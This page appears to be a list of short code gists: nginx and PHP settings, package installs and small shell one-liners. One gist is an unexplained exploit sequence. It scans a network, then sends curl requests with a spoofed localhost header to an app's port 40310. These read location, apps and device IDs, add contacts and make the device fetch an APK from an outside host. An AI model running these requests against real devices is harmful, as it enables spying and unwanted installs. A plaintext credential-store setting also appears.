This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| git config --global credential.helper store |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| find /home/app/* -type f -exec sed -i -e 's/wx.91qutui.com\/open\/beesdk.php/wx.h5pop.com\/open\/beesdk.php/g' {} \; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| parse_str(implode('&', array_slice($argv, 1)), $_GET); | |
| echo $_GET['test']; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| In my case the df -h and du -sh mismatched by about 50% of the hard disk size. | |
| This was caused by nginx keeping large log files in memory which had been deleted from disk. | |
| The situation was then resolved by restarting nginx |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http { | |
| limit_req_zone $binary_remote_addr zone=www:10m rate=1r/s; | |
| } | |
| server { | |
| #limit in server or location | |
| #limit_req zone=www burst=5 nodelay; | |
| location ~ .*\.php($|/) { | |
| limit_req zone=www burst=5 nodelay; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| nmap -sT -sV -p6259,40310 -P0 -n 192.168.2.0/24 | |
| curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getlocstring?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506" | |
| curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getapplist?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506" | |
| curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getcuid?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506" | |
| curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/downloadfile?mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506&querydown=download&downloadurl=http://pub.tsingyuan.cn/wtest.apk&savepath=test&filesize=1" | |
| curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/addcontactinfo?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506&postdata=\[\{\"name\":\"zzzz\",\"starred\":\"1\"\}\]" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ============================= | |
| tools | |
| rpm -Uvh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm | |
| yum install -y lrzsz nmap subversion rsync mlocate flex byacc libpcap ncurses ncurses-devel libpcap-devel lsof openssl-devel | |
| yum -y groupinstall "Development Tools" | |
| wget -c http://www.ex-parrot.com/pdw/iftop/download/iftop-0.17.tar.gz | |
| yum install -y httpd-tools | |
| ============================= | |
| nginx |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| db.setProfilingLevel(1, 100); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 首先打开php的错误信息提示功能,在其已ubuntu为测试环境 | |
| vim /etc/php5/fpm/php.ini | |
| 打开错误提示 | |
| display_errors = On | |
| 因为用到的四fpm与nginx配合,所以还需要修改php-fpm.conf文件 | |
| vim /etc/php5/fpm/php-fpm.conf | |
| 再最后添加 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| total=0; for i in `ps -C php-fpm -o rss=`; do total=$(($total+$i)); done; echo "Memory usage: $total kb"; |